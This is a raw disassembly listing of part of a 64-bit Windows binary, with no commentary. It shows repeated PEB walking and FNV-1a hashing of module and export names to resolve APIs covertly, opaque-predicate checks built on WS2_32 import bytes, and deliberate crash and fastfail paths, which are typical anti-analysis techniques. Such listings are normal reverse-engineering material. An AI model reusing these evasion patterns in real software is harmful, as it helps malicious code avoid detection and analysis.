cmp qword [rax + 0x30], r15
jne 0x14009166e
mov rdx, r15
mov qword [0x1402a3f88], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1402a3f80]
cmp rdx, r15
jne 0x14009192d
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, 0x2fd4df39
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
cmp edi, r15d
je 0x140091834
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x140091827
xor r15d, r15d
jmp 0x1400917ad
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140091818
cmp edx, edi
jne 0x14009190e
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14009190e
mov r11d, dword [r10 + 0x18]
cmp r11d, r15d
je 0x14009190e
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + r15]
mov edx, 0x811c9dc5
add r8, r9
jmp 0x140091888
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14009187d
cmp edx, esi
je 0x1400918a0
test r11d, r11d
jne 0x140091868
xor r15d, r15d
jmp 0x14009190e
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + r11*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x14009198c
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14009198c
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x1400918e9
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1400918db
inc rdx
xor r15d, r15d
jmp 0x140091905
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x1400918f7
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x140091923
cmp qword [rax + 0x30], r15
jne 0x1400917e7
mov rdx, r15
mov qword [0x1402a3f80], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1402a3f78]
cmp rdx, r15
jne 0x140091aa6
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, 0xe80fd3a
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
cmp edi, r15d
je 0x1400919ad
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x1400919a0
xor r15d, r15d
jmp 0x140091926
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140091991
cmp edx, edi
jne 0x140091a87
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140091a87
mov r11d, dword [r10 + 0x18]
cmp r11d, r15d
je 0x140091a87
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + r15]
mov edx, 0x811c9dc5
add r8, r9
jmp 0x140091a01
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1400919f6
cmp edx, esi
je 0x140091a19
test r11d, r11d
jne 0x1400919e1
xor r15d, r15d
jmp 0x140091a87
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + r11*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x140091b02
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140091b02
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140091a62
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140091a54
inc rdx
xor r15d, r15d
jmp 0x140091a7e
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140091a70
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x140091a9c
cmp qword [rax + 0x30], r15
jne 0x140091960
mov rdx, r15
mov qword [0x1402a3f78], rdx
xor ecx, ecx
call rdx
cmp qword [0x1402a3f70], r15
jne 0x140091c1e
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, 0xa52bcaf9
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
cmp edi, r15d
je 0x140091b23
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x140091b16
xor r15d, r15d
jmp 0x140091a9f
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140091b07
cmp edx, edi
jne 0x140091bff
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x140091bff
mov r9d, dword [r11 + 0x18]
cmp r9d, r15d
je 0x140091bff
mov r15d, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r15]
mov edx, 0x811c9dc5
add r8, r10
jmp 0x140091b77
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140091b6c
cmp edx, esi
je 0x140091b8f
test r9d, r9d
jne 0x140091b57
xor r15d, r15d
jmp 0x140091bff
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx r9d, word [rdx + r9*2]
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov r8d, dword [rdx + r9*4]
add r8, r10
cmp r8, r11
jbe 0x140091d3e
lea rcx, [rax + r11]
cmp r8, rcx
jae 0x140091d3e
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140091bd8
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r8
mov al, byte [r8]
cmp al, 0x2e
jne 0x140091bca
inc r8
xor r15d, r15d
jmp 0x140091bf5
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r8
mov al, byte [r8]
test al, al
jne 0x140091be7
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x140091c14
cmp qword [rax + 0x30], r15
jne 0x140091ad6
mov r8, r15
mov qword [0x1402a3f70], r8
xor ecx, ecx
int 0x29
mov r9d, r15d
call fcn.1400752e4
movsx edx, al
call fcn.1400752e8
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea esi, [rcx + rdx*2]
call fcn.1400752e4
movsx edx, al
call fcn.1400752e8
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea r14d, [rcx + rdx*4]
call fcn.1400752e4
movsx r10d, al
call fcn.1400752e8
movsx ecx, al
imul r10d, ecx
call fcn.1400752f4
mov r11d, dword [rbp + 0x48]
movsx ebx, al
lea eax, [r10 + r10*4]
lea edi, [rbx + rax*2]
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, esi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm2, xmm2
sub eax, ecx
xor edx, edx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp - 0x10], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r14d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140091d46
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x140091d46
mov r11d, 4
jmp 0x140091d9b
xor r15d, r15d
jmp 0x140091c17
movsx eax, byte [reloc.WS2_32.dll_htons]
lea edx, [r10 + r10*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, ebx
lea eax, [rax + rdx*2]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140091d9b
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, edi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x10]
cvttsd2si r11d, xmm0
cmp r9d, r11d
jge 0x140091dcd
mov edx, 1
mov eax, edx
mov qword [rbp - 0x10], rdx
mov ecx, edx
mov qword [rbp + rcx*8 - 0x10], rax
mov rax, qword [rbp - 0x10]
inc rax
mov qword [rbp - 0x10], rax
mov rcx, rax
cmp rax, r15
jne 0x140091dad
add r9d, edx
jmp 0x140091c8a
mov qword [0], 0x99
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1400752f4
movsx ecx, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140092c1f
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
mov rcx, r15
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
mov eax, r12d
sub eax, dword [0x1402a1d94]
cvtdq2pd xmm0, xmm0
cmp eax, 0x1194
setg cl
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rcx
mulsd xmm1, xmm0
movsd qword [rbp - 0x10], xmm1
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140091ee9
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x140091ee9
mov r9d, 4
jmp 0x140091f7f
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140091f7b
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400752f4
movsx ecx, al
xorps xmm0, xmm0
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x10]
cvttsd2si r9d, xmm0
jmp 0x140091f7f
mov r9d, dword [rbp + 0x48]
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
movsx eax, byte [reloc.WS2_32.dll_htons]
lea r10d, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r10d
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r9d
cmp eax, r15d
je 0x140092c1f
call fcn.1400752e8
movsx r9d, al
call fcn.1400752e4
movsx ecx, al
imul r9d, ecx
call fcn.1400752f4
movsx ecx, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14009216c
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
movzx eax, byte [0x1402a1d75]
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rbp - 0x10], xmm1
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400920ca
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x1400920ca
mov r9d, 4
jmp 0x140092140
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r10d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14009213c
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400752f4
movsx ecx, al
xorps xmm0, xmm0
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x10]
cvttsd2si r9d, xmm0
jmp 0x140092140
mov r9d, dword [rbp + 0x48]
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r10d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r9d
cmp eax, r15d
je 0x14009216c
call fcn.1400b8e8c
mov ecx, 0x9c
call qword [0x1402a1e90]
mov rdx, qword [0x1402a3e40]
cmp rdx, r15
jne 0x1400922e5
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, r13d
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
cmp edi, r15d
je 0x1400921ec
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x1400921df
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400921d0
cmp edx, edi
jne 0x1400922c6
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1400922c6
mov r11d, dword [r10 + 0x18]
cmp r11d, r15d
je 0x1400922c6
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + r15]
mov edx, 0x811c9dc5
add r8, r9
jmp 0x140092240
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140092235
cmp edx, esi
je 0x140092258
test r11d, r11d
jne 0x140092220
xor r15d, r15d
jmp 0x1400922c6
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + r11*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x140092347
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140092347
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x1400922a1
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140092293
inc rdx
xor r15d, r15d
jmp 0x1400922bd
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x1400922af
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x1400922db
cmp qword [rax + 0x30], r15
jne 0x1400921a4
mov rdx, r15
mov qword [0x1402a3e40], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x1402a3f90]
cmp rbx, r15
jne 0x140092461
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, 0xf84eee59
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
cmp edi, r15d
je 0x140092368
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x14009235b
xor r15d, r15d
jmp 0x1400922de
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14009234c
cmp edx, edi
jne 0x140092442
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140092442
mov r11d, dword [r10 + 0x18]
cmp r11d, r15d
je 0x140092442
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + r15]
mov edx, 0x811c9dc5
add r8, r9
jmp 0x1400923bc
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1400923b1
cmp edx, esi
je 0x1400923d4
test r11d, r11d
jne 0x14009239c
xor r15d, r15d
jmp 0x140092442
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + r11*2]
mov ebx, dword [rdx + r8*4]
add rbx, r9
cmp rbx, r10
jbe 0x1400924c9
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x1400924c9
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14009241d
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14009240f
inc rbx
xor r15d, r15d
jmp 0x140092439
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
test al, al
jne 0x14009242b
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x140092457
cmp qword [rax + 0x30], r15
jne 0x14009231b
mov rbx, r15
mov qword [0x1402a3f90], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call rbx
mov rdx, qword [0x1402a3f88]
cmp rdx, r15
jne 0x1400925e3
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, 0xb3002016
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
cmp edi, r15d
je 0x1400924ea
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x1400924dd
xor r15d, r15d
jmp 0x14009245a
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400924ce
cmp edx, edi
jne 0x1400925c4
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1400925c4
mov r11d, dword [r10 + 0x18]
cmp r11d, r15d
je 0x1400925c4
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + r15]
mov edx, 0x811c9dc5
add r8, r9
jmp 0x14009253e
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140092533
cmp edx, esi
je 0x140092556
test r11d, r11d
jne 0x14009251e
xor r15d, r15d
jmp 0x1400925c4
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + r11*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x140092642
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140092642
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14009259f
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140092591
inc rdx
xor r15d, r15d
jmp 0x1400925bb
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x1400925ad
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x1400925d9
cmp qword [rax + 0x30], r15
jne 0x14009249d
mov rdx, r15
mov qword [0x1402a3f88], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1402a3f80]
cmp rdx, r15
jne 0x14009275c
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, 0x2fd4df39
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
cmp edi, r15d
je 0x140092663
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x140092656
xor r15d, r15d
jmp 0x1400925dc
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140092647
cmp edx, edi
jne 0x14009273d
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14009273d
mov r11d, dword [r10 + 0x18]
cmp r11d, r15d
je 0x14009273d
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + r15]
mov edx, 0x811c9dc5
add r8, r9
jmp 0x1400926b7
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1400926ac
cmp edx, esi
je 0x1400926cf
test r11d, r11d
jne 0x140092697
xor r15d, r15d
jmp 0x14009273d
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + r11*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x1400927bb
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1400927bb
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140092718
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14009270a
inc rdx
xor r15d, r15d
jmp 0x140092734
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140092726
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x140092752
cmp qword [rax + 0x30], r15
jne 0x140092616
mov rdx, r15
mov qword [0x1402a3f80], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1402a3f78]
cmp rdx, r15
jne 0x1400928d5
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, 0xe80fd3a
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
cmp edi, r15d
je 0x1400927dc
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x1400927cf
xor r15d, r15d
jmp 0x140092755
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400927c0
cmp edx, edi
jne 0x1400928b6
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1400928b6
mov r11d, dword [r10 + 0x18]
cmp r11d, r15d
je 0x1400928b6
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + r15]
mov edx, 0x811c9dc5
add r8, r9
jmp 0x140092830
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140092825
cmp edx, esi
je 0x140092848
test r11d, r11d
jne 0x140092810
xor r15d, r15d
jmp 0x1400928b6
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + r11*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x140092931
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140092931
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140092891
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140092883
inc rdx
xor r15d, r15d
jmp 0x1400928ad
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14009289f
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x1400928cb
cmp qword [rax + 0x30], r15
jne 0x14009278f
mov rdx, r15
mov qword [0x1402a3f78], rdx
xor ecx, ecx
call rdx
cmp qword [0x1402a3f70], r15
jne 0x140092a4d
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, 0xa52bcaf9
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
cmp edi, r15d
je 0x140092952
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x140092945
xor r15d, r15d
jmp 0x1400928ce
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140092936
cmp edx, edi
jne 0x140092a2e
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x140092a2e
mov r9d, dword [r11 + 0x18]
cmp r9d, r15d
je 0x140092a2e
mov r15d, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r15]
